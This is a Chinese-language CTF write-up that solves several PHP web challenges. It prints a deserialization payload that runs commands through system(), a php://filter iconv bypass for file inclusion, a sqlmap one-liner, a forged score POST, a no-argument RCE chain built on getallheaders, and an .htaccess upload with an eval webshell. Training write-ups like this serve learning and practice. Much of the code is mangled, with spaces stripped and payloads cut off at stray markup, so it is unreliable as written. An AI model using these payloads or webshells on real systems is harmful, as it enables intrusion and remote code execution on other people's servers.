Unserialize?

<?php
highlight_file(__FILE__);
//Maybeyouneedlearnsomeknowledgeaboutdeserialize?
classevil{
private$cmd;

publicfunction__destruct()
{
if(!preg_match(“/cat|tac|more|tail|base/i”,$this->cmd)){
@system($this->cmd);
}
}
}

审计代码: 反序列化自动触发__destruct()魔术方法,只要绕过这个匹配就能利用这个system()函数进行输出

然后我这里利用的是nl来进行查看内容

下面为序列化脚本:

<?phpclass evil {private $cmd = 'ls/';}$a = new evil();echo serialize($a);

这里很重要的 一点就是cmd为私有变量 所以我们加上一个%00就可以了

所以最钟的paylaod:

unser=O:4:”evil”:1:{s:9:”%00evil%00cmd”;s:33:”nl /th1s_1s_fffflllll4444aaaggggg”;}

include 0。0

highlight_file(__FILE__);
//FLAGintheflag.php
$file=$_GET[‘file’];
if(isset($file)&&!preg_match(‘/base|rot/i’,$file)){

考点 文件包含漏洞且不能出现base rot 大小写 那我们换个过滤器就行了

Payloa:?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php

ez_sql

过滤条件比较少 Sqlmap一把梭

sqlmap -u http://36290524-fae7-4b49-b911-fe7af45f3104.node4.buuoj.cn:81/” />

游戏高手

这个gameover函数中向/api.php POST了我们的分数
我们可以自己伪造分数POST上传 这里要注意 POSTjson的stringfy形式

上传10000000分就可以了

R!!C!!E!!

题目提示敏感信息泄露 ,先用githack恢复获得bo0g1pop.php

得到新的代码审计

这个主要分为两块

第一:

if(‘;’===preg_replace(‘/[^\W]+\((” />,,$_GET[‘star’]))

第二:

if(!preg_match(‘/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i’

这部分基本把常用的一些无参数rce的办法都ban了但我们可以使用getallheaders()

Paylaod:bo0g1pop.php” />然后随便添加个参数:newstar=phpinfo();

多send几下然后就饿可以看到了

这时候我们就要提取这个phpinfo();使用array_flip()函数,它会将传进来的数组进行一个键和值的互换,这样的话phpinfo();就变成键了,接下来我们只要取键就可以了,这时与之想配合的另一个函数array_rand(),它会随机的取数组中的一个或多个元素的键,不给参数就是默认取一个

Payload:bo0g1pop.php” />多send几下

出来了php界面 那么我们直接修改命令就可以进行rce了 获得flag

Upload again!

这道题考的就是一个是.htaccess文件的解析漏洞另一个就是考的对一句话木马内容的过滤

首先拿到题目大概就是说 你上传图片不行 要求你上传php文件 结果上传之后又发现但不开 所以这时候就要用到.htaccess文件的解析漏洞我们只要把它jpg解释成php就可以了

.htacess内容:AddType application/x-httpd-php .jpg

先上传这个文件

在上传图片

一句话木马内容5.png

@eval($_POST[‘a’])

上传成功 给了路径 yijian一把梭

拿到flag